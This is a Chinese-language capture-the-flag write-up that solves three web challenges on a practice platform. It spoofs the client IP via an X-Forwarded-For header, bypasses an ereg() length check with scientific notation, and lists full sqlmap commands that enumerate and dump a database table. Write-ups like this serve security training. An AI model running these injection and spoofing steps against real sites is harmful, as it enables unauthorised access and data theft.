貌似有点难
解题链接: http://ctf5.shiyanbar.com/phpaudit/
看到这个界面是代码审计题,那就直接看代码:
如果HTTP_CLIENT_IP不是空,就把它复制给cip
以此类推.................
这时候就就想如何更改指定ip
百度一下知道添加 X-Forwarded-For 可以 进行修改客户端ip地址,
以下是官方解释:
抓包,
添加X-Forwarded-For 1.1.1.1
然后释放;
得到flag{};
大功告成。
Once More
hint:ereg()函数有漏洞哩;从小老师就说要用科学的方法来算数。
解题链接: http://ctf5.shiyanbar.com/web/more.php
一道代码审计,看代码输入必须是数字和字符;
而且字符串长度小于8;末尾出现*-* ;
那就是100000000,但是好像超过8了,怎么办呢?题目提示用科学的方法计数,那就科学记数法呗。
一段尝试后发现
可用。
ok
这个看起来有点简单
很明显。过年过节不送礼,送礼就送这个
解题链接: http://ctf5.shiyanbar.com/8/index.php?id=1
打开网页,发现可以注入。
那就sqlmap注入吧
sqlmap.py -u http://ctf5.shiyanbar.com/8/index.php?id=1

接下来一顿操作。
sqlmap.py -u http://ctf5.shiyanbar.com/8/index.php?id=1 --dbs

sqlmap.py -u http://ctf5.shiyanbar.com/8/index.php?id=1 -D my_db --tables
sqlmap.py -u http://ctf5.shiyanbar.com/8/index.php?id=1 -D my_db -T thiskey --columns

sqlmap.py -u http://ctf5.shiyanbar.com/8/index.php?id=1 -D my_db -T thiskey -C k0y --dump
这难道就是传说中的flag?
就分享这么多了,大家共同进步。